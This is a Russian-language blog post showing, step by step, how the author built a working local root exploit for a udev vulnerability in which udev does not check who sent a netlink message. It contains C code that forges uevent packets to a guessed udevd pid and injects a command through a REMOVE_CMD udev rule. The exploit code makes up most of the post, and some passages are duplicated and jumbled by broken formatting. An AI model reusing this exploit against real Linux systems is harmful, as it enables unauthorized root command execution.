Хаброюзер allan_sundry во флейме про ботнет под Mac OS X не поверил, что недавняя уязвимость в Linux-овом udev действительно широка, глубока и в ряде случаев даже опасна. В ответ я решил написать этот топик, демонстрирующий, что создать рабочий эксплойт для опубликованной уязвимости нередко может даже фриланствующий студент-недоучка, потратив пару-тройку часов воскресным вечером.
Входная информация — udev не проверяет отправителя сообщения.
А вот и весь нехитрый процесс создания эксплойта по шагам:
P.S. скучный топик, не правда ли?
Входная информация — udev не проверяет отправителя сообщения.
А вот и весь нехитрый процесс создания эксплойта по шагам:
- Скачиваем исходники udev, grep-ом находим, что нужно создавать netlink-сокет для протокола NETLINK_KOBJECT_UEVENT:
int netlink_socket = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
- Читаем
man 7 netlink
и заполняем адрес назначения для пакета:
struct sockaddr_nl dest;<br/>memset(&dest, 0, sizeof(dest));<br/>dest.nl_family = AF_NETLINK;<br/>dest.nl_pid = pidof_udev;<br/>
- Запускаем
strace -p `pidof udevd`
, втыкаем что-нибудь в USB и получаем примерный формат пакета:#define REQ(act, dev) \<br/> act "@/class/mem/" dev "\0" \<br/> "UDEV_LOG=3\0" \<br/> "ACTION=" act "\0" \<br/> "DEVPATH=/class/mem/" dev "\0" \<br/> "SUBSYSTEM=mem\0" \<br/> "MAJOR=1\0" \<br/> "MINOR=1\0" \<br/> "SEQNUM=3747\0" \<br/> "UDEVD_EVENT=1\0" \<br/> "DEVNAME=/dev/" dev "\0"<br/>char req1[] = REQ("add", "ufo");
- Отправляем этот пакет:
И получаем в ответ «Connection refused».sendto(netlink_socket, req1, sizeof(req1)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
- Изучаем еще раз исходники udev и обнаруживаем, что netlink сокет открывается до того, как демон уйдет в фон, fork()-нувшись. Pid-ы обычно выдаются последовательно, поэтому попробуем просто задать немного другой адрес:
После этого никаких ошибокdest.nl_pid = pidof_udev - 1;
send()
не вернул и более того, в/dev
появился странный файл/dev/ufo
, который и был только что создан через дыру в udev. Но создать устройство — это не очень не интересно, лучше исполнить свой код. - Сложный путь по внедрению своего кода в ядро через специальные устройства
/dev/mem
и/dev/kmem
— это интересно, но для proof-of-concept можно и срезать дорогу. Запускаемgrep -r RUN /etc/udev/rules.d/
и находим странно написанное правило:ACTION=="remove", ENV{REMOVE_CMD}!="", RUN+="$env{REMOVE_CMD}"
- Добавляем еще одно netlink-сообщение, на этот раз для удаления
/dev/ufo
:
Запускаем… НЛО прилетело и оставило файлchar req2[] = REQ("remove", "ufo") "REMOVE_CMD=/bin/touch /woot\0";<br/>sendto(netlink_socket, req2, sizeof(req2)-1, 0, (struct sockaddr*)&dest, sizeof(dest));
/woot
!
P.S. скучный топик, не правда ли?